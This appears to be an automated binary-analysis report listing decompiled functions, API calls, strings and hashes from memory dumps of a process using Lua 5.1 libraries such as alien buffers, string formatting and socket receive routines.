alien_callback, xrefs: 005E3230
__gc, xrefs: 005E32A3
__tostring, xrefs: 005E32C8
__index, xrefs: 005E323D
types, xrefs: 005E3254

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushlstring.lua_settable.$lua_pushcclosure.$L_newmetatable.lua_createtable.lua_settop.
String ID: __call$__gc$__index$__tostring$alien_callback$types
API String ID: 863327555-901320719
Opcode ID: 560a377f0323197e8a9fd515c513debdf39498cd2984045243720fe392cf4240
Instruction ID: 2bc7562bc4758194c0bbbf777df94a0ddd83349b04009a31e4a915250e6074a9
Opcode Fuzzy Hash: 560a377f0323197e8a9fd515c513debdf39498cd2984045243720fe392cf4240
Instruction Fuzzy Hash: AC015C60FDEAA731DA1A32230C4FF5E0C193FA2B66F210300F5F1350D66A9D230500AE

Uniqueness

Uniqueness Score: -1.00%

Function 005E2F20, Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 214
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E005E2F20(void* __fp0, intOrPtr _a4) {
				signed int _v8;
				signed int _v10;
				void* __ebx;
				signed int __esi;
				void* _t27;
				signed int _t28;
				signed int _t29;
				signed int _t34;
				void* _t36;
				intOrPtr _t37;
				void* _t38;
				void* _t39;
				void* _t46;

				_t46 = __fp0;
				_t37 = _a4;
				_t28 = E005E1110(_t27, 1, _t37, "alien_buffer");
				_t34 = _t28;
				_t39 = _t38 + 4;
				if(_t34 == 0) {
					_push("alien buffer expected");
					_push(1);
					_push(_t37);
					L005E3F14();
					_t39 = _t39 + 0xc;
				}
				_push(2);
				_push(_t37);
				L005E3FCE();
				_push("hR^");
				_push("char");
				_push(4);
				_push(_t37);
				_t36 = _t28 - 1;
				L005E3F98();
				_t29 =  *(0x5e55a8 + _t28 * 4);
				if(_t29 > 0x11) {
					L19:
					_push("alien: unknown type in buffer:put");
					_push(_t37);
					L005E3F26();
					return 0;
				} else {
					switch( *((intOrPtr*)(_t29 * 4 +  &M005E3150))) {
						case 0:
							_push(3);
							_push(_t37);
							L005E3F68();
							 *((short*)(_t34 + _t36)) = E005E45C0(_t29, _t46);
							return 0;
							goto L20;
						case 1:
							_push(3);
							_push(__esi);
							L005E3F68();
							asm("fnstcw word [esp+0x16]");
							_v10 & 0x0000ffff = _v10 & 0x0000ffff | 0x00000c00;
							_v8 = _v10 & 0x0000ffff | 0x00000c00;
							__esp = __esp + 8;
							asm("fldcw word [esp+0x10]");
							asm("fistp dword [esp+0x10]");
							 *(__ebx + __edi) = _v8;
							asm("fldcw word [esp+0xa]");
							__eax = 0;
							return 0;
							goto L20;
						case 2:
							_push(3);
							_push(__esi);
							L005E3F68();
							__esp = __esp + 8;
							 *(__ebx + __edi) = __eax;
							__eax = 0;
							return 0;
							goto L20;
						case 3:
							_push(3);
							_push(__esi);
							L005E3F68();
							asm("fnstcw word [esp+0x16]");
							_v10 & 0x0000ffff = _v10 & 0x0000ffff | 0x00000c00;
							_v8 = _v10 & 0x0000ffff | 0x00000c00;
							__esp = __esp + 8;
							__eax = 0;
							asm("fldcw word [esp+0x10]");
							asm("fistp qword [esp+0x10]");
							__ecx = _v8;
							 *(__ebx + __edi) = _v8;
							asm("fldcw word [esp+0xa]");
							return 0;
							goto L20;
						case 4:
							_push(3);
							_push(__esi);
							L005E3F68();
							asm("fnstcw word [esp+0x16]");
							_v10 & 0x0000ffff = _v10 & 0x0000ffff | 0x00000c00;
							_v8 = _v10 & 0x0000ffff | 0x00000c00;
							__esp = __esp + 8;
							__eax = 0;
							asm("fldcw word [esp+0x10]");
							asm("fistp qword [esp+0x10]");
							 *(__ebx + __edi) = _v8;
							asm("fldcw word [esp+0xa]");
							return 0;
							goto L20;
						case 5:
							goto L19;
						case 6:
							_push(3);
							_push(__esi);
							L005E3F68();
							 *(__ebx + __edi) = __fp0;
							__esp = __esp + 8;
							__eax = 0;
							return 0;
							goto L20;
						case 7:
							_push(3);
							_push(__esi);
							L005E3F68();
							 *(__ebx + __edi) = __fp0;
							__esp = __esp + 8;
							__eax = 0;
							return 0;
							goto L20;
						case 8:
							_push(3);
							_push(__esi);
							L005E3F62();
							__esp = __esp + 8;
							 *(__ebx + __edi) = __al;
							__eax = 0;
							return 0;
							goto L20;
						case 9:
							_push(3);
							_push(__esi);
							L005E3F4A();
							__esp = __esp + 8;
							if(__eax != 0) {
								goto L14;
							} else {
								goto L13;
							}
							goto L20;
						case 0xa:
							_push(3);
							_push(__esi);
							L005E3F4A();
							__esp = __esp + 8;
							if(__eax == 0) {
								L13:
								__eax = 0;
								 *(__ebx + __edi) = 0;
								return 0;
							} else {
								_push(3);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								if(__eax == 0) {
									L14:
									_push(0);
									_push(3);
									_push(__esi);
									L005E3F5C();
									__esp = __esp + 0xc;
									 *(__ebx + __edi) = __eax;
									__eax = 0;
									return 0;
								} else {
									_push(3);
									_push(__esi);
									L005E3F0E();
									__esp = __esp + 8;
									 *(__ebx + __edi) = __eax;
									__eax = 0;
									return 0;
								}
							}
							goto L20;
						case 0xb:
							__eax = 3;
							__ecx = __esi;
							 *(__ebx + __edi) = E005E1170(3, __esi);
							__eax = 0;
							return 0;
							goto L20;
					}
				}
				L20:
			}

0x005e2f20
0x005e2f25
0x005e2f34
0x005e2f39
0x005e2f3b
0x005e2f40
0x005e2f42
0x005e2f47
0x005e2f49
0x005e2f4a
0x005e2f4f
0x005e2f4f
0x005e2f52
0x005e2f54
0x005e2f55
0x005e2f5a
0x005e2f5f
0x005e2f66
0x005e2f68
0x005e2f69
0x005e2f6c
0x005e2f71
0x005e2f7e
0x005e3137
0x005e3137
0x005e313c
0x005e313d
0x005e314d
0x005e2f84
0x005e2f84
0x00000000
0x005e2f8b
0x005e2f8d
0x005e2f8e
0x005e2f9b
0x005e2fa7
0x00000000
0x00000000
0x005e2fc4
0x005e2fc6
0x005e2fc7
0x005e2fcc
0x005e2fd5
0x005e2fda
0x005e2fde
0x005e2fe1
0x005e2fe5
0x005e2fee
0x005e2ff3
0x005e2ff8
0x005e2ffe
0x00000000
0x00000000
0x005e2fa8
0x005e2faa
0x005e2fab
0x005e2fb0
0x005e2fb8
0x005e2fbd
0x005e2fc3
0x00000000
0x00000000
0x005e2fff
0x005e3001
0x005e3002
0x005e3007
0x005e3010
0x005e3015
0x005e3019
0x005e301c
0x005e301e
0x005e3022
0x005e3026
0x005e302a
0x005e302e
0x005e3037
0x00000000
0x00000000
0x005e3038
0x005e303a
0x005e303b
0x005e3040
0x005e3049
0x005e304e
0x005e3052
0x005e3055
0x005e3057
0x005e305b
0x005e3063
0x005e3067
0x005e3070
0x00000000
0x00000000
0x00000000
0x00000000
0x005e3088
0x005e308a
0x005e308b
0x005e3090
0x005e3093
0x005e3098
0x005e309e
0x00000000
0x00000000
0x005e309f
0x005e30a1
0x005e30a2
0x005e30a7
0x005e30aa
0x005e30af
0x005e30b5
0x00000000
0x00000000
0x005e3071
0x005e3073
0x005e3074
0x005e3079
0x005e307c
0x005e3081
0x005e3087
0x00000000
0x00000000
0x005e30b6
0x005e30b8
0x005e30b9
0x005e30be
0x005e30c3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x005e3102
0x005e3104
0x005e3105
0x005e310a
0x005e310f
0x005e30c5
0x005e30c5
0x005e30c7
0x005e30d0
0x005e3111
0x005e3111
0x005e3113
0x005e3114
0x005e3119
0x005e311e
0x005e30d1
0x005e30d1
0x005e30d3
0x005e30d5
0x005e30d6
0x005e30db
0x005e30de
0x005e30e3
0x005e30e9
0x005e3120
0x005e3120
0x005e3122
0x005e3123
0x005e3128
0x005e312b
0x005e3130
0x005e3136
0x005e3136
0x005e311e
0x00000000
0x00000000
0x005e30ea
0x005e30ef
0x005e30f6
0x005e30fb
0x005e3101
0x00000000
0x00000000
0x005e2f84
0x00000000

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

luaL_argerror.LUA5.1(?,00000001,alien buffer expected), ref: 005E2F4A
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E2F55
luaL_checkoption.LUA5.1(?,00000004,char,hR^,?,00000002), ref: 005E2F6C
lua_tonumber.LUA5.1(?,00000003), ref: 005E2F8E

Strings

alien: unknown type in buffer:put, xrefs: 005E3137
alien buffer expected, xrefs: 005E2F42
char, xrefs: 005E2F5F
alien_buffer, xrefs: 005E2F2A
hR^, xrefs: 005E2F5A

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_checkinteger.L_checkoption.lua_getfield.lua_getmetatable.lua_rawequal.lua_settop.lua_tonumber.lua_touserdata.
String ID: alien buffer expected$alien: unknown type in buffer:put$alien_buffer$char$hR^
API String ID: 19568338-931241864
Opcode ID: 625fa3de01094ce26b5ee5000bada7ad1a16dd96cc3b935df7e368eaf34ed6d6
Instruction ID: 1f9eacabbc1a72913b8ebf905864151f9bc58dc334fb8e02cd35753a545060f8
Opcode Fuzzy Hash: 625fa3de01094ce26b5ee5000bada7ad1a16dd96cc3b935df7e368eaf34ed6d6
Instruction Fuzzy Hash: 1251B365A4835256D704AF6ABC4A7DE3B94FFC0721F840879FD9486281F22D871D82F3

Uniqueness

Uniqueness Score: -1.00%

Function 10015AE0, Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 196stringCOMMON

Download Yara Rule

APIs

luaL_checklstring.LUA5.1(?,00000001,?), ref: 10015AFE

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

luaL_buffinit.LUA5.1(?,?,?,00000001,?), ref: 10015B15
luaL_prepbuffer.LUA5.1(?), ref: 10015B42

Part of subcall function 10015EF0: strchr.MSVCRT ref: 10015F0F
Part of subcall function 10015EF0: luaL_error.LUA5.1(?,invalid format (repeated flags),00000002,00000001,?,?,10015BAD,?,00000001,?), ref: 10015F33
Part of subcall function 10015EF0: _isctype.MSVCRT ref: 10015F53
Part of subcall function 10015EF0: _isctype.MSVCRT ref: 10015F83
Part of subcall function 10015EF0: _isctype.MSVCRT ref: 10015FB8
Part of subcall function 10015EF0: _isctype.MSVCRT ref: 10015FE7
Part of subcall function 10015EF0: _isctype.MSVCRT ref: 10016017
Part of subcall function 10015EF0: luaL_error.LUA5.1(?,invalid format (width or precision too long),00000002,00000001,?,?,10015BAD,?,00000001,?), ref: 1001603A

luaL_prepbuffer.LUA5.1(?), ref: 10015B7D
luaL_checknumber.LUA5.1(?,?), ref: 10015BD3
_ftol.MSVCRT ref: 10015BD8
sprintf.MSVCRT ref: 10015BEB
luaL_checknumber.LUA5.1(?,?,?), ref: 10015C05
_ftol.MSVCRT ref: 10015C0A
sprintf.MSVCRT ref: 10015C1D
luaL_checknumber.LUA5.1(?,00000002), ref: 10015C2D
sprintf.MSVCRT ref: 10015C42
luaL_checklstring.LUA5.1(?,?,?), ref: 10015C68
strchr.MSVCRT ref: 10015C78
lua_pushvalue.LUA5.1(?,?), ref: 10015C8E
luaL_addvalue.LUA5.1(?,?,?), ref: 10015C98
luaL_addlstring.LUA5.1(?,?), ref: 10015CDC
luaL_pushresult.LUA5.1(?), ref: 10015CF7
luaL_error.LUA5.1(?,invalid option '%%%c' to 'format',?), ref: 10015D16

Strings

invalid option '%%%c' to 'format', xrefs: 10015D10
d, xrefs: 10015C85

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: _isctype$L_checknumber.L_error.sprintf$L_checklstring.L_prepbuffer._ftolstrchr$L_addlstring.L_addvalue.L_buffinit.L_pushresult.lua_pushvalue.lua_tolstring.
String ID: d$invalid option '%%%c' to 'format'
API String ID: 1960201620-813261871
Opcode ID: e116f2b5f62d8e48b2d6848ca4e690ed919ed90517299e3cb23da36ac54c313e
Instruction ID: a4bc58ddc973c009b8fe134d9058b0f7e4ee088237d879e27fdc7f3a3a6b70c3
Opcode Fuzzy Hash: e116f2b5f62d8e48b2d6848ca4e690ed919ed90517299e3cb23da36ac54c313e
Instruction Fuzzy Hash: 6051B6B5408340ABD324DB64DC85DAFBBE8FFC5745F44091DF98A8B142E631E945CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00591650, Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00591650(intOrPtr __eax, long long __fp0, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _t17;
				intOrPtr* _t18;
				intOrPtr* _t20;
				intOrPtr* _t32;
				intOrPtr* _t33;
				intOrPtr _t36;
				signed int _t38;
				void* _t41;
				void* _t42;
				long long* _t44;
				long long* _t46;
				long long _t53;

				_t53 = __fp0;
				_t36 = _a4;
				_push(0);
				_push(0);
				_push(_t36);
				L00594ACA();
				_push(_t36);
				L00594B60();
				_push("name");
				_push(_t36);
				_v8 = __eax;
				L00594AD0();
				_t20 = _a8;
				_t17 =  *_t20;
				_push(_t17);
				_push(_t36);
				L00594AD0();
				_push(__eax);
				_push(_t36);
				L00594B42();
				_push("ip");
				_push(_t36);
				L00594AD0();
				_push("alias");
				_push(_t36);
				L00594AD0();
				_t32 =  *((intOrPtr*)(_t20 + 4));
				_push(0);
				_push(0);
				_push(_t36);
				_v12 = 1;
				L00594ACA();
				_t41 = (_t38 & 0xfffffff8) - 0xc + 0x44;
				if(_t32 != 0 &&  *_t32 != 0) {
					do {
						asm("fild dword [esp+0x10]");
						_t46 = _t41 - 8;
						 *_t46 = __fp0;
						_push(_t36);
						L00594B5A();
						_push( *_t32);
						_push(_t36);
						L00594AD0();
						_push(0xfffffffd);
						_push(_t36);
						L00594B42();
						_t17 =  *((intOrPtr*)(_t32 + 4));
						_t32 = _t32 + 4;
						_t41 = _t46 + 0x1c;
						_v12 = _v12 + 1;
					} while (_t17 != 0);
				}
				_push(_v8);
				_push(_t36);
				L00594B42();
				_push(0);
				_push(0);
				_push(_t36);
				_v12 = 1;
				L00594ACA();
				_t33 =  *((intOrPtr*)(_t20 + 0xc));
				_t42 = _t41 + 0x14;
				if(_t33 != 0 &&  *_t33 != 0) {
					do {
						asm("fild dword [esp+0x10]");
						_t44 = _t42 - 8;
						 *_t44 = _t53;
						_push(_t36);
						L00594B5A();
						_t18 =  *_t33;
						_push( *_t18);
						L00594A10();
						_push(_t18);
						_push(_t36);
						L00594AD0();
						_push(0xfffffffd);
						_push(_t36);
						L00594B42();
						_t17 =  *((intOrPtr*)(_t33 + 4));
						_t33 = _t33 + 4;
						_t42 = _t44 + 0x1c;
						_v16 = _v16 + 1;
					} while (_t17 != 0);
				}
				_push(_v8);
				_push(_t36);
				L00594B42();
				return _t17;
			}

0x00591650
0x0059165b
0x0059165f
0x00591661
0x00591663
0x00591664
0x00591669
0x0059166a
0x00591671
0x00591676
0x00591677
0x0059167b
0x00591680
0x00591683
0x00591685
0x00591686
0x00591687
0x0059168c
0x0059168d
0x0059168e
0x00591693
0x00591698
0x00591699
0x0059169e
0x005916a3
0x005916a4
0x005916a9
0x005916ac
0x005916ae
0x005916b0
0x005916b1
0x005916b9
0x005916be
0x005916c3
0x005916ca
0x005916ca
0x005916ce
0x005916d1
0x005916d4
0x005916d5
0x005916dc
0x005916dd
0x005916de
0x005916e3
0x005916e5
0x005916e6
0x005916ef
0x005916f2
0x005916f5
0x005916fb
0x005916fb
0x005916ca
0x00591705
0x00591706
0x00591707
0x0059170c
0x0059170e
0x00591710
0x00591711
0x00591719
0x0059171e
0x00591721
0x00591726
0x0059172d
0x0059172d
0x00591731
0x00591734
0x00591737
0x00591738
0x0059173d
0x00591744
0x00591745
0x0059174a
0x0059174b
0x0059174c
0x00591751
0x00591753
0x00591754
0x0059175d
0x00591760
0x00591763
0x00591769
0x00591769
0x0059172d
0x00591773
0x00591774
0x00591775
0x00591783

APIs

lua_createtable.LUA5.1(?,00000000,00000000), ref: 00591664
lua_gettop.LUA5.1(?,?,00000000,00000000), ref: 0059166A
lua_pushstring.LUA5.1(?,name,?,?,00000000,00000000), ref: 0059167B
lua_pushstring.LUA5.1(?,00000000,?,name,?,?,00000000,00000000), ref: 00591687
lua_settable.LUA5.1(?,00000000,?,00000000,?,name,?,?,00000000,00000000), ref: 0059168E
lua_pushstring.LUA5.1(?,005960F8,?,00000000,?,00000000,?,name,?,?,00000000,00000000), ref: 00591699
lua_pushstring.LUA5.1(?,alias,?,005960F8,?,00000000,?,00000000,?,name,?,?,00000000,00000000), ref: 005916A4
lua_createtable.LUA5.1 ref: 005916B9
lua_pushnumber.LUA5.1(?), ref: 005916D5
lua_pushstring.LUA5.1(?,?,?), ref: 005916DE
lua_settable.LUA5.1(?,000000FD,?,?,?), ref: 005916E6
lua_settable.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00591707
lua_createtable.LUA5.1 ref: 00591719
lua_pushnumber.LUA5.1(?,?,?,?,?,00000000,?,?), ref: 00591738
inet_ntoa.WSOCK32 ref: 00591745
lua_pushstring.LUA5.1(?,00000000,?,?,?,?,?,?,?,00000000,?,?), ref: 0059174C
lua_settable.LUA5.1(?,000000FD,?,00000000,?,?,?,?,?,?,?,00000000,?,?), ref: 00591754
lua_settable.LUA5.1(?,?,?,00000000,00000000,?,?), ref: 00591775

Strings

name, xrefs: 00591671
alias, xrefs: 0059169E

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$lua_settable.$lua_createtable.$lua_pushnumber.$inet_ntoalua_gettop.
String ID: alias$name
API String ID: 3648022753-1124982520
Opcode ID: 0b8fd5b4d0b6a9cbb5555ef3e3e847875dd0c42d597316878293f95e93e2b546
Instruction ID: f3a3870cd97b80bf2af3bf363ca00a12b832ab96aa533000a6de0a3c76b7075c
Opcode Fuzzy Hash: 0b8fd5b4d0b6a9cbb5555ef3e3e847875dd0c42d597316878293f95e93e2b546
Instruction Fuzzy Hash: C431F2705046136BCA10BF188C4AF6FBBA9FFC5304F244614F95457282EB70EE168AEE

Uniqueness

Uniqueness Score: -1.00%

Function 005923E0, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E005923E0(void* __eax, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				char _v524;
				void* _v528;
				char* _t19;
				intOrPtr* _t21;
				intOrPtr* _t24;
				intOrPtr _t26;
				intOrPtr _t31;
				intOrPtr* _t37;
				intOrPtr _t38;
				void* _t39;

				_t38 = _a4;
				_push(_t38);
				L00594B60();
				_t39 = __eax;
				_t19 =  &_v528;
				_push(_t19);
				_push(0x596c90);
				_push(3);
				_push(_t38);
				L00594B78();
				_t26 = _a8;
				E00592DC0(__fp0,  *((intOrPtr*)(_t26 + 0x14)));
				_push( &_v524);
				_push(_t38);
				L00594BA2();
				_t21 = _v528;
				_push(_t21);
				_push(_t19);
				_push( &_v524);
				L00594B9C();
				_push(2);
				_push(_t38);
				L00594B84();
				if(_t21 != 0) {
					_push( &_v524);
					_push(2);
					L00594B7E();
					L00594BD0();
					__eflags = _t21 - _v528;
					_t21 = E005925C0(_t26, _t21 - _v528, _t38);
					goto L11;
				} else {
					_push(_t21);
					_push("*l");
					_push(2);
					_push(_t38);
					L00594B78();
					_t31 =  *_t21;
					if(_t31 != 0x2a) {
						L7:
						_push("invalid receive pattern");
						_push(2);
						_push(_t38);
						L00594B2A();
						goto L8;
					} else {
						_t49 =  *((char*)(_t21 + 1)) - 0x6c;
						if( *((char*)(_t21 + 1)) != 0x6c) {
							__eflags = _t31 - 0x2a;
							if(_t31 != 0x2a) {
								goto L7;
							} else {
								__eflags =  *((char*)(_t21 + 1)) - 0x61;
								if( *((char*)(_t21 + 1)) != 0x61) {
									goto L7;
								} else {
									_t21 = E00592630(_t26,  &_v524);
									goto L11;
								}
							}
						} else {
							_t21 = E00592690(_t49, _t26,  &_v524);
							L11:
							_t37 = _t21;
							if(_t37 == 0) {
								L8:
								_push( &_v524);
								L00594B96();
								_push(_t38);
								L00594B4E();
								_push(_t38);
								L00594B4E();
							} else {
								L00594B96();
								_t24 =  *((intOrPtr*)(_t26 + 0x10));
								_t21 =  *((intOrPtr*)(_t24 + 0xc))( *_t24, _t37,  &_v524);
								_push(_t21);
								_push(_t38);
								L00594AD0();
								_push(0xfffffffe);
								_push(_t38);
								L00594B90();
								_push(_t38);
								L00594B4E();
								_push(0xfffffffc);
								_push(_t38);
								L00594B8A();
							}
						}
					}
				}
				_push(_t38);
				L00594B60();
				return _t21 - _t39;
			}

0x005923e9
0x005923f1
0x005923f2
0x005923f7
0x005923f9
0x005923fd
0x005923fe
0x00592403
0x00592405
0x00592406
0x0059240b
0x00592418
0x00592421
0x00592422
0x00592423
0x00592428
0x00592430
0x00592431
0x00592432
0x00592433
0x00592438
0x0059243a
0x0059243b
0x00592445
0x005924d7
0x005924d8
0x005924db
0x005924e3
0x005924e8
0x005924ee
0x00000000
0x0059244b
0x0059244b
0x0059244c
0x00592451
0x00592453
0x00592454
0x00592459
0x00592461
0x00592494
0x00592494
0x00592499
0x0059249b
0x0059249c
0x00000000
0x00592463
0x00592463
0x00592467
0x00592479
0x0059247c
0x00000000
0x0059247e
0x0059247e
0x00592482
0x00000000
0x00592484
0x0059248a
0x00000000
0x0059248f
0x00592482
0x00592469
0x0059246f
0x005924f6
0x005924f6
0x005924fa
0x005924a4
0x005924a8
0x005924a9
0x005924ae
0x005924af
0x005924b4
0x005924b5
0x005924fc
0x00592501
0x00592506
0x0059250d
0x00592510
0x00592511
0x00592512
0x00592517
0x00592519
0x0059251a
0x0059251f
0x00592520
0x00592525
0x00592527
0x00592528
0x0059252d
0x005924fa
0x00592467
0x00592461
0x005924bd
0x005924be
0x005924d2

APIs

lua_gettop.LUA5.1(?,?,?), ref: 005923F2
luaL_optlstring.LUA5.1(?,00000003,00596C90,?,?,?,?), ref: 00592406
luaL_buffinit.LUA5.1(?,?,?,?,00000003,00596C90,?,?,?,?), ref: 00592423
luaL_addlstring.LUA5.1(?,00000000,?,?,?,?,?,00000003,00596C90,?,?,?,?), ref: 00592433
lua_isnumber.LUA5.1(?,00000002,?,00000000,?,?,?,?,?,00000003,00596C90,?,?,?,?), ref: 0059243B
luaL_optlstring.LUA5.1(?,00000002,00596368,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00592454
luaL_argerror.LUA5.1(?,00000002,invalid receive pattern), ref: 0059249C
luaL_pushresult.LUA5.1(?,?,?,?,?,?), ref: 005924A9
lua_pushnil.LUA5.1(?,?,?,?,?,?,?), ref: 005924AF
lua_pushnil.LUA5.1(?,?,?,?,?,?,?,?), ref: 005924B5

Part of subcall function 00592690: luaL_prepbuffer.LUA5.1(?,00592474,?,?), ref: 005926D7

lua_gettop.LUA5.1(?,?,?,?,?,?,?,?,?), ref: 005924BE
lua_tonumber.LUA5.1(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005924DB
_ftol.MSVCRT ref: 005924E3
luaL_pushresult.LUA5.1(?,?,?,?,?,?), ref: 00592501
lua_pushstring.LUA5.1(?,00000000,?,00000000,?,?,?,?,?,?), ref: 00592512
lua_pushvalue.LUA5.1(?,000000FE,?,00000000,?,00000000,?,?,?,?,?,?), ref: 0059251A
lua_pushnil.LUA5.1(?,?,000000FE,?,00000000,?,00000000,?,?,?,?,?,?), ref: 00592520
lua_replace.LUA5.1(?,000000FC,?,?,000000FE,?,00000000,?,00000000,?,?,?,?,?,?), ref: 00592528

Strings

invalid receive pattern, xrefs: 00592494

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnil.$L_optlstring.L_pushresult.lua_gettop.$L_addlstring.L_argerror.L_buffinit.L_prepbuffer._ftollua_isnumber.lua_pushstring.lua_pushvalue.lua_replace.lua_tonumber.
String ID: invalid receive pattern
API String ID: 3068233321-3558494022
Opcode ID: 535cc56917080c293985955f151fe6b1094d037c8d18858600d162eb8df8a64b
Instruction ID: 501e41919eb1081b5ce6df501d722a095e2300a3437e4ace8e13a894832c15f9
Opcode Fuzzy Hash: 535cc56917080c293985955f151fe6b1094d037c8d18858600d162eb8df8a64b
Instruction Fuzzy Hash: F331A3715052123ADE10FB20AC4AFAF7F9EBFC6714F044918F54856143EA29DE0A4AB7

Uniqueness

Uniqueness Score: -1.00%

Function 005E2CB0, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E005E2CB0(void* __eax, void* __fp0, intOrPtr _a4) {
				void* _v8;
				void* _t10;
				void* _t16;
				void* _t18;
				void* _t23;
				intOrPtr _t26;
				void** _t28;
				void** _t29;
				void** _t30;
				void** _t31;
				void* _t41;

				_t41 = __fp0;
				_t10 = __eax;
				_t26 = _a4;
				_push(1);
				_push(_t26);
				L005E3F4A();
				_t28 =  &(( &_v8)[2]);
				if(__eax != 4) {
					_push(1);
					_push(_t26);
					L005E3F4A();
					_t29 =  &(_t28[2]);
					if(__eax != 2) {
						_push(0x200);
						_push(1);
						_push(_t26);
						_t18 = 0;
						L005E3FC2();
						_t30 =  &(_t29[3]);
						goto L5;
					} else {
						_push("alien_buffer");
						_push(0xffffd8f0);
						_push(_t26);
						L005E3F02();
						_push(0xfffffffe);
						_push(_t26);
						L005E3F1A();
						return 1;
					}
				} else {
					_t16 =  &_v8;
					_push(_t16);
					_push(1);
					_push(_t26);
					L005E3F5C();
					_t18 = _t16;
					_t30 =  &(_t28[3]);
					_t10 = _v8 + 1;
					L5:
					_push(_t10);
					_push(_t26);
					_v8 = _t10;
					L005E3F2C();
					_t23 = _t10;
					_t31 =  &(_t30[2]);
					if(_t23 == 0) {
						_push("cannot allocate buffer");
						_push(_t26);
						L005E3F26();
						return 0;
					} else {
						if(_t18 != 0) {
							memcpy(_t23, _t18, _v8 + 0xffffffff);
							_t31 =  &(_t31[3]);
							 *((char*)(_t23 + _v8 - 1)) = 0;
						}
						_push(0);
						_push(0);
						_push(_t26);
						L005E3FBC();
						asm("fild dword [esp+0x18]");
						if(_v8 < 0) {
							_t41 = _t41 +  *0x5e5878;
						}
						_t31[1] = _t41;
						_push(_t26);
						L005E3F80();
						_push("size");
						_push(0xfffffffe);
						_push(_t26);
						L005E3F3E();
						_push(0xfffffffe);
						_push(_t26);
						L005E3FB6();
						_push("alien_buffer");
						_push(0xffffd8f0);
						_push(_t26);
						L005E3F02();
						_push(0xfffffffe);
						_push(_t26);
						L005E3F1A();
						return 1;
					}
				}
			}

0x005e2cb0
0x005e2cb0
0x005e2cb5
0x005e2cb9
0x005e2cbb
0x005e2cbc
0x005e2cc1
0x005e2cc7
0x005e2ce4
0x005e2ce6
0x005e2ce7
0x005e2cec
0x005e2cf2
0x005e2d1a
0x005e2d1f
0x005e2d21
0x005e2d22
0x005e2d24
0x005e2d29
0x00000000
0x005e2cf4
0x005e2cf4
0x005e2cf9
0x005e2cfe
0x005e2cff
0x005e2d04
0x005e2d06
0x005e2d07
0x005e2d19
0x005e2d19
0x005e2cc9
0x005e2cc9
0x005e2ccd
0x005e2cce
0x005e2cd0
0x005e2cd1
0x005e2cd6
0x005e2cdc
0x005e2cdf
0x005e2d2c
